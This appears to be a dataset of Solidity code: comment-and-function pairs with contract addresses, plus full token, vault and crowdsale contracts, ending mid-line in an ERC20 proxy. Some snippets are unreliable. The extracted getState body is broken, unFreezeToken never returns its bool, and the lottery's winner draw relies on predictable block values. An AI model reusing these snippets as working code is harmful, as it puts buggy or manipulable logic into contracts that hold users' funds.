addExcludedInternal(address _toExclude) private { excluded[_toExclude] = true; } /** * @dev Wrapper of token.transferFrom */ function transferFrom(address _from, address _to, uint _value) returns (bool) { require(!paused || excluded[_from]); return super.transferFrom(_from, _to, _value); } /** * @dev Wrapper of token.transfer */ function transfer(address _to, uint _value) returns (bool) { require(!paused || excluded[msg.sender]); return super.transfer(_to, _value); } /** * @dev Mint timelocked tokens */ function mintTimelocked(address _to, uint _amount, uint32 _releaseTime) onlyOwner canMint returns (ESportsFreezingStorage) { ESportsFreezingStorage timelock = new ESportsFreezingStorage(this, _releaseTime); mint(timelock, _amount); frozenFunds[_to].push(timelock); addExcludedInternal(timelock); MintTimelocked(_to, _amount); return timelock; } /** * @dev Release frozen tokens * @return Total amount of released tokens */ function returnFrozenFreeFunds() public returns (uint) { uint total = 0; ESportsFreezingStorage[] storage frozenStorages = frozenFunds[msg.sender]; // for (uint x = 0; x < frozenStorages.length; x++) { // uint amount = balanceOf(frozenStorages[x]); // if (frozenStorages[x].call(bytes4(sha3("release(address)")), msg.sender)) // total = total.add(amount); // } for (uint x = 0; x < frozenStorages.length; x++) { uint amount = frozenStorages[x].release(msg.sender); total = total.add(amount); } return total; } /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint _value) public { require(!paused || excluded[msg.sender]); require(_value > 0); balances[msg.sender] = balances[msg.sender].sub(_value); totalSupply = totalSupply.sub(_value); Burn(msg.sender, _value); } }
Because of discount hasEnded might be true, but validPurchase returns false. return true if crowdsale event has ended/
function hasEnded() public constant returns (bool) { return now > endTime || token.totalSupply() > hardCap.sub(getRate()); }
6,376,054
./partial_match/42220/0x040D6De6F26ECeec2489EB132Cb3f11fbe97E33c/sources/src/SpiralsCeloVault.sol
CELO -> stCELO/
function convertAssetsToStaked(uint256 assets) public view virtual override returns (uint256) { return c_stCeloManager.toStakedCelo(assets); }
3,495,996
./full_match/137/0xe22966425C93CC0F42f47D447e0bE3677A303806/sources/contracts/core/NFTLottery.sol
Calculate the total number of tickets Generate a random number between 0 and totalTickets Store random number to show transpancy of raffle
function _randomPlayer(uint256 lotteryId) internal virtual returns (address) { uint256 totalTickets = players[lotteryId].playerWallets.length; uint256 randomIndex = uint256(keccak256(abi.encodePacked(block.prevrandao, block.timestamp, totalTickets))) % totalTickets; rands[lotteryId] = randomIndex; return players[lotteryId].playerWallets[randomIndex]; }
4,714,971
./partial_match/1/0x126d852A3150C53B851eB340ea54Dc379d62f27c/sources/contracts/UniswapConnector03.sol
Mints long + short option tokens, then swaps the shortOptionTokens (redeem) for tokens. If the first address in the path is not the shortOptionToken address, the tx will fail. underlyingToken -> shortOptionToken -> quoteToken. IMPORTANT: redeemTokens = shortOptionTokens optionToken The address of the Option contract. amountIn The quantity of options to mint. amountOutMin The minimum quantity of tokens to receive in exchange for the shortOptionTokens. path The token addresses to trade through using their Uniswap V2 pools. Assumes path[0] = shortOptionToken. to The address to send the shortOptionToken proceeds and longOptionTokens to. deadline The timestamp for a trade to fail at if not successful. return bool Whether the transaction was successful or not.
function mintShortOptionsThenSwapToTokens( IOption optionToken, uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external override nonReentrant returns (bool) { bool success = UniswapConnectorLib03.mintShortOptionsThenSwapToTokens( router, optionToken, amountIn, amountOutMin, path, to, deadline ); return success; }
4,395,943
./full_match/4/0x50872BCFae523C93CAc46679F9aAD31e7816BE40/sources/browser/GoldToken.sol
require(amount <= bal)
function unFreezeToken(address user, uint amount) public onlyOwner returns(bool) { _unFreeze(user, amount); }
762,029
/** * This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net * * Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt */ /** * This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net * * Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt */ /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner { require(newOwner != address(0)); owner = newOwner; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) constant returns (uint256); function transfer(address to, uint256 value) returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract Recoverable is Ownable { /// @dev Empty constructor (for now) function Recoverable() { } /// @dev This will be invoked by the owner, when owner wants to rescue tokens /// @param token Token which will we rescue to the owner from the contract function recoverTokens(ERC20Basic token) onlyOwner public { token.transfer(owner, tokensToBeReturned(token)); } /// @dev Interface function, can be overwritten by the superclass /// @param token Token which balance we will check and return /// @return The amount of tokens (in smallest denominator) the contract owns function tokensToBeReturned(ERC20Basic token) public returns (uint) { return token.balanceOf(this); } } /** * This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net * * Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt */ /** * Safe unsigned safe math. * * https://blog.aragon.one/library-driven-development-in-solidity-2bebcaf88736#.750gwtwli * * Originally from https://raw.githubusercontent.com/AragonOne/zeppelin-solidity/master/contracts/SafeMathLib.sol * * Maintained here until merged to mainline zeppelin-solidity. * */ library SafeMathLib { function times(uint a, uint b) returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function minus(uint a, uint b) returns (uint) { assert(b <= a); return a - b; } function plus(uint a, uint b) returns (uint) { uint c = a + b; assert(c>=a); return c; } } /** * This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net * * Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt */ /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) returns (bool) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) constant returns (uint256); function transferFrom(address from, address to, uint256 value) returns (bool); function approve(address spender, uint256 value) returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amout of tokens to be transfered */ function transferFrom(address _from, address _to, uint256 _value) returns (bool) { var _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) returns (bool) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifing the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } /** * Standard EIP-20 token with an interface marker. * * @notice Interface marker is used by crowdsale contracts to validate that addresses point a good token contract. * */ contract StandardTokenExt is StandardToken { /* Interface declaration */ function isToken() public constant returns (bool weAre) { return true; } } /** * Hold tokens for a group investor of investors until the unlock date. * * After the unlock date the investor can claim their tokens. * * Steps * * - Prepare a spreadsheet for token allocation * - Deploy this contract, with the sum to tokens to be distributed, from the owner account * - Call setInvestor for all investors from the owner account using a local script and CSV input * - Move tokensToBeAllocated in this contract using StandardToken.transfer() * - Call lock from the owner account * - Wait until the freeze period is over * - After the freeze time is over investors can call claim() from their address to get their tokens * */ contract TokenVault is Ownable, Recoverable { using SafeMathLib for uint; /** How many investors we have now */ uint public investorCount; /** Sum from the spreadsheet how much tokens we should get on the contract. If the sum does not match at the time of the lock the vault is faulty and must be recreated.*/ uint public tokensToBeAllocated; /** How many tokens investors have claimed so far */ uint public totalClaimed; /** How many tokens our internal book keeping tells us to have at the time of lock() when all investor data has been loaded */ uint public tokensAllocatedTotal; /** How much we have allocated to the investors invested */ mapping(address => uint) public balances; /** How many tokens investors have claimed */ mapping(address => uint) public claimed; /** When was the last claim by an investor **/ mapping(address => uint) public lastClaimedAt; /** When our claim freeze is over (UNIX timestamp) */ uint public freezeEndsAt; /** When this vault was locked (UNIX timestamp) */ uint public lockedAt; /** defining the tap **/ uint public tokensPerSecond; /** We can also define our own token, which will override the ICO one ***/ StandardTokenExt public token; /** What is our current state. * * Loading: Investor data is being loaded and contract not yet locked * Holding: Holding tokens for investors * Distributing: Freeze time is over, investors can claim their tokens */ enum State{Unknown, Loading, Holding, Distributing} /** We allocated tokens for investor */ event Allocated(address investor, uint value); /** We distributed tokens to an investor */ event Distributed(address investors, uint count); event Locked(); /** * Create presale contract where lock up period is given days * * @param _owner Who can load investor data and lock * @param _freezeEndsAt UNIX timestamp when the vault unlocks * @param _token Token contract address we are distributing * @param _tokensToBeAllocated Total number of tokens this vault will hold - including decimal multiplication * @param _tokensPerSecond Define the tap: how many tokens we permit an user to withdraw per second, 0 to disable */ function TokenVault(address _owner, uint _freezeEndsAt, StandardTokenExt _token, uint _tokensToBeAllocated, uint _tokensPerSecond) { owner = _owner; // Invalid owenr if(owner == 0) { throw; } token = _token; // Check the address looks like a token contract if(!token.isToken()) { throw; } // Give argument if(_freezeEndsAt == 0) { throw; } // Sanity check on _tokensToBeAllocated if(_tokensToBeAllocated == 0) { throw; } if (_freezeEndsAt < now) { freezeEndsAt = now; } else { freezeEndsAt = _freezeEndsAt; } tokensToBeAllocated = _tokensToBeAllocated; tokensPerSecond = _tokensPerSecond; } /// @dev Add a presale participating allocation function setInvestor(address investor, uint amount) public onlyOwner { if(lockedAt > 0) { // Cannot add new investors after the vault is locked throw; } if(amount == 0) throw; // No empty buys // Don't allow reset if(balances[investor] > 0) { throw; } balances[investor] = amount; investorCount++; tokensAllocatedTotal += amount; Allocated(investor, amount); } /// @dev Lock the vault /// - All balances have been loaded in correctly /// - Tokens are transferred on this vault correctly /// - Checks are in place to prevent creating a vault that is locked with incorrect token balances. function lock() onlyOwner { if(lockedAt > 0) { throw; // Already locked } // Spreadsheet sum does not match to what we have loaded to the investor data if(tokensAllocatedTotal != tokensToBeAllocated) { throw; } // Do not lock the vault if the given tokens are not on this contract if(token.balanceOf(address(this)) != tokensAllocatedTotal) { throw; } lockedAt = now; Locked(); } /// @dev In the case locking failed, then allow the owner to reclaim the tokens on the contract. function recoverFailedLock() onlyOwner { if(lockedAt > 0) { throw; } // Transfer all tokens on this contract back to the owner token.transfer(owner, token.balanceOf(address(this))); } /// @dev Get the current balance of tokens in the vault /// @return uint How many tokens there are currently in vault function getBalance() public constant returns (uint howManyTokensCurrentlyInVault) { return token.balanceOf(address(this)); } /// @dev Check how many tokens "investor" can claim /// @param investor Address of the investor /// @return uint How many tokens the investor can claim now function getCurrentlyClaimableAmount(address investor) public constant returns (uint claimableAmount) { uint maxTokensLeft = balances[investor] - claimed[investor]; if (now < freezeEndsAt) { return 0; } if (tokensPerSecond > 0) { uint previousClaimAt = lastClaimedAt[investor]; uint maxClaim; if (previousClaimAt == 0) { previousClaimAt = freezeEndsAt; } maxClaim = (now - previousClaimAt) * tokensPerSecond; if (maxClaim > maxTokensLeft) { return maxTokensLeft; } else { return maxClaim; } } else { return maxTokensLeft; } } /// @dev Claim N bought tokens to the investor as the msg sender function claim() { address investor = msg.sender; if(lockedAt == 0) { throw; // We were never locked } if(now < freezeEndsAt) { throw; // Trying to claim early } if(balances[investor] == 0) { // Not our investor throw; } uint amount = getCurrentlyClaimableAmount(investor); require (amount > 0); lastClaimedAt[investor] = now; claimed[investor] += amount; totalClaimed += amount; token.transfer(investor, amount); Distributed(investor, amount); } /// @dev This function is prototyped in Recoverable contract function tokensToBeReturned(ERC20Basic tokenToClaim) public returns (uint) { if (address(tokenToClaim) == address(token)) { return getBalance().minus(tokensAllocatedTotal); } else { return tokenToClaim.balanceOf(this); } } /// @dev Resolve the contract umambigious state function getState() public constant returns(State) { if(lockedAt == 0) { return State.Loading; } else if(now > freezeEndsAt) { return State.Distributing; } else { return State.Holding; } } }
Resolve the contract umambigious state
function getState() public constant returns(State) { if(lockedAt == 0) { return State.Loading; return State.Distributing; return State.Holding; } }
395,488
// Abstract contract for the full ERC 20 Token standard // https://github.com/ethereum/EIPs/issues/20 pragma solidity ^0.4.8; contract SafeMath { function safeDiv(uint a, uint b) internal returns (uint) { assert(b > 0); uint c = a / b; assert(a == b * c + a % b); return c; } function safeAdd(uint256 x, uint256 y) internal returns(uint256) { uint256 z = x + y; assert((z >= x) && (z >= y)); return z; } function safeSubtract(uint256 x, uint256 y) internal returns(uint256) { assert(x >= y); uint256 z = x - y; return z; } function safeMult(uint256 x, uint256 y) internal returns(uint256) { uint256 z = x * y; assert((x == 0)||(z/x == y)); return z; } } contract Token { /* This is a slight change to the ERC20 base standard. function totalSupply() constant returns (uint256 supply); is replaced with: uint256 public totalSupply; This automatically creates a getter function for the totalSupply. This is moved to the base contract since public getter functions are not currently recognised as an implementation of the matching abstract function by the compiler. */ /// total amount of tokens uint256 public totalSupply; /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance); /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success); /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success); /// @notice `msg.sender` approves `_spender` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of tokens to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success); /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { uint256 constant MAX_UINT256 = 2**256 - 1; bool public isFrozen; // switched to true in frozen state function transfer(address _to, uint256 _value) returns (bool success) { if (isFrozen) revert(); //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //require(balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]); require(balances[msg.sender] >= _value); balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { if (isFrozen) revert(); //same as above. Replace this line with the following if you want to protect against wrapping uints. //require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]); uint256 allowance = allowed[_from][msg.sender]; require(balances[_from] >= _value && allowance >= _value); balances[_to] += _value; balances[_from] -= _value; if (allowance < MAX_UINT256) { allowed[_from][msg.sender] -= _value; } Transfer(_from, _to, _value); return true; } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; } contract PreAdsMobileToken is StandardToken, SafeMath { /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals = 18; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = 'H0.1'; //human 0.1 standard. Just an arbitrary versioning scheme. // contracts address public ethFundDeposit; // deposit address for ETH for AdsMobile // crowdsale parameters bool public isFinalized; // switched to true in operational state uint256 public fundingStartBlock; uint256 public fundingEndBlock; uint256 public checkNumber; uint256 public totalSupplyWithOutBonus; uint256 public constant tokenExchangeRate = 400; // 400 AdsMobile tokens per 1 ETH uint256 public constant tokenCreationCapWithOutBonus = 3 * (10**6) * 10**18; uint256 public constant tokenNeedForBonusLevel0 = 100 * (10**3) * 10**18; uint256 public constant bonusLevel0PercentModifier = 300; uint256 public constant tokenNeedForBonusLevel1 = 50 * (10**3) * 10**18; uint256 public constant bonusLevel1PercentModifier = 200; uint256 public constant tokenCreationMinPayment = 50 * (10**3) * 10**18; // events event CreateAds(address indexed _to, uint256 _value); // constructor function PreAdsMobileToken( string _tokenName, string _tokenSymbol, address _ethFundDeposit, uint256 _fundingStartBlock, uint256 _fundingEndBlock ) { balances[msg.sender] = 0; // Give the creator all initial tokens totalSupply = 0; // Update total supply name = _tokenName; // Set the name for display purposes decimals = 18; // Amount of decimals for display purposes symbol = _tokenSymbol; // Set the symbol for display purposes isFinalized = false; // controls pre through crowdsale state isFrozen = false; ethFundDeposit = _ethFundDeposit; fundingStartBlock = _fundingStartBlock; fundingEndBlock = _fundingEndBlock; checkNumber = 42; //Answer to the Ultimate Question of Life, the Universe, and Everything } /// @dev Accepts ether and creates new ADS tokens. function createTokens() public payable { if (isFinalized) revert(); if (block.number < fundingStartBlock) revert(); if (block.number > fundingEndBlock) revert(); if (msg.value == 0) revert(); uint256 tokensWithOutBonus = safeMult(msg.value, tokenExchangeRate); // check that we're not over totals if (tokensWithOutBonus < tokenCreationMinPayment) revert(); uint256 checkedSupplyWithOutBonus = safeAdd(totalSupplyWithOutBonus, tokensWithOutBonus); // return money if something goes wrong if (tokenCreationCapWithOutBonus < checkedSupplyWithOutBonus) revert(); // odd fractions won't be found totalSupplyWithOutBonus = checkedSupplyWithOutBonus; uint256 tokens = tokensWithOutBonus; if(tokens >= tokenNeedForBonusLevel0) { tokens = safeDiv(tokens, 100); tokens = safeMult(tokens, bonusLevel0PercentModifier); } else { if(tokens >= tokenNeedForBonusLevel1) { tokens = safeDiv(tokens, 100); tokens = safeMult(tokens, bonusLevel1PercentModifier); } } uint256 checkedSupply = safeAdd(totalSupply, tokens); totalSupply = checkedSupply; balances[msg.sender] += tokens; // safeAdd not needed; bad semantics to use here CreateAds(msg.sender, tokens); // logs token creation } //just for test cashin and cashout on small amount before let it go function cashin() external payable { if (isFinalized) revert(); } function cashout(uint256 amount) external { if (isFinalized) revert(); if (msg.sender != ethFundDeposit) revert(); // locks finalize to the ultimate ETH owner if (!ethFundDeposit.send(amount)) revert(); // send the eth to AdsMobile } //in case we want to transfer token to other contract we need freeze all future transfers function freeze() external { if (msg.sender != ethFundDeposit) revert(); // locks finalize to the ultimate ETH owner isFrozen = true; } function unFreeze() external { if (msg.sender != ethFundDeposit) revert(); // locks finalize to the ultimate ETH owner isFrozen = false; } /// @dev Ends the funding period and sends the ETH home function finalize() external { if (isFinalized) revert(); if (msg.sender != ethFundDeposit) revert(); // locks finalize to the ultimate ETH owner if (block.number <= fundingEndBlock && totalSupplyWithOutBonus < tokenCreationCapWithOutBonus - tokenCreationMinPayment) revert(); // move to operational if (!ethFundDeposit.send(this.balance)) revert(); // send the eth to AdsMobile isFinalized = true; } /** * @dev Fallback function which receives ether and created the appropriate number of tokens for the * msg.sender. */ function() external payable { createTokens(); } }
Fallback function which receives ether and created the appropriate number of tokens for the msg.sender./
function() external payable { createTokens(); }
7,239,122
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import {IERC20Proxy} from "./IERC20Proxy.sol"; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import {StorageSlot} from "@openzeppelin/contracts/utils/StorageSlot.sol"; import {TokenRoles} from "../../roles/TokenRoles.sol"; import {DomainAware} from "../../../tools/DomainAware.sol"; import {ERC1820Client} from "../../../erc1820/ERC1820Client.sol"; import {ERC1820Implementer} from "../../../erc1820/ERC1820Implementer.sol"; import {IERC20Logic} from "../logic/IERC20Logic.sol"; import {ERC20Storage} from "../storage/ERC20Storage.sol"; import {ExtensionStorage} from "../../../extensions/ExtensionStorage.sol"; import {IToken, TransferData, TokenStandard} from "../../IToken.sol"; contract ERC20Proxy is IERC20Proxy, TokenRoles, DomainAware, ERC1820Client, ERC1820Implementer { string constant internal ERC20_INTERFACE_NAME = "ERC20Token"; string constant internal ERC20_STORAGE_INTERFACE_NAME = "ERC20TokenStorage"; string constant internal ERC20_LOGIC_INTERFACE_NAME = "ERC20TokenLogic"; bytes32 constant ERC20_TOKEN_META = keccak256("erc20.token.meta"); struct TokenMeta { bool initialized; string name; string symbol; uint256 maxSupply; bool allowMint; bool allowBurn; } constructor( string memory name_, string memory symbol_, bool allowMint, bool allowBurn, address owner, uint256 maxSupply_, address logicAddress ) { require(maxSupply_ > 0, "Max supply must be non-zero"); StorageSlot.getAddressSlot(TOKEN_MANAGER_ADDRESS).value = _msgSender(); if (owner != _msgSender()) { transferOwnership(owner); } if (allowMint) { _addRole(owner, TOKEN_MINTER_ROLE); } TokenMeta storage m = _getTokenMeta(); m.name = name_; m.symbol = symbol_; m.maxSupply = maxSupply_; m.allowMint = allowMint; m.allowBurn = allowBurn; ERC1820Client.setInterfaceImplementation(ERC20_INTERFACE_NAME, address(this)); ERC1820Implementer._setInterface(ERC20_INTERFACE_NAME); // For migration require(logicAddress != address(0), "Logic address must be given"); require(logicAddress == ERC1820Client.interfaceAddr(logicAddress, ERC20_LOGIC_INTERFACE_NAME), "Not registered as a logic contract"); _setImplementation(logicAddress); ERC20Storage store = new ERC20Storage(address(this)); _setStorage(address(store)); //Update the doamin seperator now that //we've setup everything _updateDomainSeparator(); m.initialized = true; } modifier mintingEnabled { require(mintingAllowed(), "Minting is disabled"); _; } modifier burningEnabled { require(burningAllowed(), "Burning is disabled"); _; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function _getTokenMeta() internal pure returns (TokenMeta storage r) { bytes32 slot = ERC20_TOKEN_META; assembly { r.slot := slot } } function _getStorageContract() internal view returns (IERC20Logic) { return IERC20Logic( ERC1820Client.interfaceAddr(address(this), ERC20_STORAGE_INTERFACE_NAME) ); } function _getImplementationContract() internal view returns (address) { return ERC1820Client.interfaceAddr(address(this), ERC20_LOGIC_INTERFACE_NAME); } function _setImplementation(address implementation) internal { ERC1820Client.setInterfaceImplementation(ERC20_LOGIC_INTERFACE_NAME, implementation); } function _setStorage(address store) internal { ERC1820Client.setInterfaceImplementation(ERC20_STORAGE_INTERFACE_NAME, store); } /** * @dev Returns the amount of tokens in existence. */ function totalSupply() public override view returns (uint256) { return _getStorageContract().totalSupply(); } function mintingAllowed() public override view returns (bool) { TokenMeta storage m = _getTokenMeta(); return m.allowMint; } function burningAllowed() public override view returns (bool) { TokenMeta storage m = _getTokenMeta(); return m.allowBurn; } function _toggleMinting(bool allowMinting) internal { TokenMeta storage m = _getTokenMeta(); m.allowMint = allowMinting; } function _toggleBurning(bool allowBurning) internal { TokenMeta storage m = _getTokenMeta(); m.allowBurn = allowBurning; } /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) public override view returns (uint256) { return _getStorageContract().balanceOf(account); } /** * @dev Returns the name of the token. */ function name() public override view returns (string memory) { return _getTokenMeta().name; } /** * @dev Returns the symbol of the token. */ function symbol() public override view returns (string memory) { return _getTokenMeta().symbol; } /** * @dev Returns the decimals places of the token. */ function decimals() public override view returns (uint8) { return _getStorageContract().decimals(); } function tokenTransfer(TransferData calldata td) external override onlyControllers returns (bool) { require(td.token == address(this), "Invalid token"); if (td.partition != bytes32(0)) { return false; //We cannot do partition transfers } (bool result,) = _forwardCurrentCall(); if (result) { emit Transfer(td.from, td.to, td.value); } return result; } /** * @dev Creates `amount` new tokens for `to`. * * See {ERC20-_mint}. * * Requirements: * * - the caller must have the `MINTER_ROLE`. */ function mint(address to, uint256 amount) public override virtual onlyMinter mintingEnabled returns (bool) { (bool result,) = _forwardCurrentCall(); if (result) { TokenMeta storage m = _getTokenMeta(); //Lets do a final maxSupply check here require(totalSupply() <= m.maxSupply, "ERC20: Max supply reached"); emit Transfer(address(0), to, amount); } return result; } /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public override virtual burningEnabled returns (bool) { (bool result,) = _forwardCurrentCall(); if (result) { emit Transfer(_msgSender(), address(0), amount); } return result; } /** * @dev Destroys `amount` tokens from `account`, deducting from the caller's * allowance. * * See {ERC20-_burn} and {ERC20-allowance}. * * Requirements: * * - the caller must have allowance for ``accounts``'s tokens of at least * `amount`. */ function burnFrom(address account, uint256 amount) public override virtual burningEnabled returns (bool) { (bool result,) = _forwardCurrentCall(); if (result) { emit Transfer(account, address(0), amount); } return result; } /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) public override returns (bool) { (bool result,) = _forwardCurrentCall(); if (result) { emit Transfer(_msgSender(), recipient, amount); } return result; } /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) public override view returns (uint256) { return _getStorageContract().allowance(owner, spender); } /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) public override returns (bool) { (bool result,) = _forwardCurrentCall(); if (result) { emit Approval(_msgSender(), spender, amount); } return result; } /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { (bool result,) = _forwardCurrentCall(); if (result) { emit Transfer(sender, recipient, amount); uint256 allowanceAmount = _getStorageContract().allowance(sender, _msgSender()); emit Approval(sender, _msgSender(), allowanceAmount); } return result; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public override virtual returns (bool) { (bool result,) = _forwardCurrentCall(); if (result) { uint256 allowanceAmount = _getStorageContract().allowance(_msgSender(), spender); emit Approval(_msgSender(), spender, allowanceAmount); } return result; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public override virtual returns (bool) { (bool result,) = _forwardCurrentCall(); if (result) { uint256 allowanceAmount = _getStorageContract().allowance(_msgSender(), spender); emit Approval(_msgSender(), spender, allowanceAmount); } return result; } function _transfer(TransferData memory td) internal returns (bool) { (bool result,) = _forwardCall(abi.encodeWithSelector(IToken.tokenTransfer.selector, td)); return result; } function _mint(address receipient, uint256 amount) internal returns (bool) { (bool result,) = 